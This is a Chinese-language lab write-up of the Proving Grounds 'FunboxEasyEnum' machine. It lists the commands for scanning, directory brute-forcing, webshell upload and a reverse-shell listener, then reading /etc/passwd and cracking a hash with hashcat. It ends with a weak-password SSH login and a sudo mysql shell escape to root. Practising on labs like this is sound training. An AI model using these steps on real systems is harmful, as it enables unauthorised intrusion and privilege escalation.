Proving Grounds->FunboxEasyEnum靶场笔记
惯例先扫IP段
nmap -sn -v 192.168.152.0/24只扫到了给的IP192.168.152.132 和254
之后扫描所有端口（以最低一万的速率扫描端口）
nmap -sT --min-rate 10000 -p- 192.168.152.132发现只开放了22和80
对22、80进行针对性扫描
sudo nmap -sT -sC -sV -O -p22,80 192.168.152.132 -oA a.txt
-sT 以tcp协议进行扫描
-sC 以nmap默认脚本进行扫描
-sV 探测服务的版本
-O 探测操作系统的版本
-p 指定端口
-oA 对扫描的结果进行全格式输出PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

进行默认脚本扫描
sudo nmap --script=vuln -p22,80 192.168.152.132PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /robots.txt: Robots file
|_ /phpmyadmin/: phpMyAdmin
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 62.72 seconds对扫描结果中的robots.txt、phpmyadmin进行探测
robots.txt就是一个简单地文本
Allow: Enum_this_Box
phpMyAdmin就是一个普通的登录页面
80端口也是一个默认页启动gobuster进行目录爆破,再添加后缀名参数，针对特殊后缀再开一个扫描
sudo gobuster dir -u http://192.168.152.132/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
sudo gobuster dir -u http://192.168.152.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sql,txt,rar,zip,tar
sudo gobuster dir -u http://192.168.228.230/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 扫到一个特殊的php 进去看看，是任意文件上传，话不多说，直接上大马
/mini.php (Status: 200) [Size: 3828]
反弹shell
sudo nc -nlvp 3242
whoami
cd /var/www/
ls -al
cat local.txt

开始考虑如何提权
cat /etc/passwd 发现了orcale 用户的hash，爆破了一波没结果，find提权也不太行，陷入僵局
.\hashcat.exe -a 0 .\rockyou.txt -m 500 $1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0 -o fuck.txt
.\hashcat.exe -a 3 -1 ?d?u?l?s --increment --increment-min 1 --increment-max 8 -m 500 .\doit.txt -o fuck.txt
oracle:$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
进home目录看看，用户挺多，
goat用户目录可以进去，但是没找到有用的信息，有点绝望了，在试试提权，至少先提一个普通用户
开始碰弱口令 ssh goat@192.168.176.132 goat
一发入魂，谁能想到用户名密码都一样
剩下的就简单了
sudo -l 看看当前用户可以用 sudo 执行那些命令
发现有mysql
去这里找下

如果允许二进制文件以超级用户身份运行 sudo，它不会放弃提升的特权，可用于访问文件系统、升级或维护特权访问。
sudo mysql -e '\! /bin/sh'
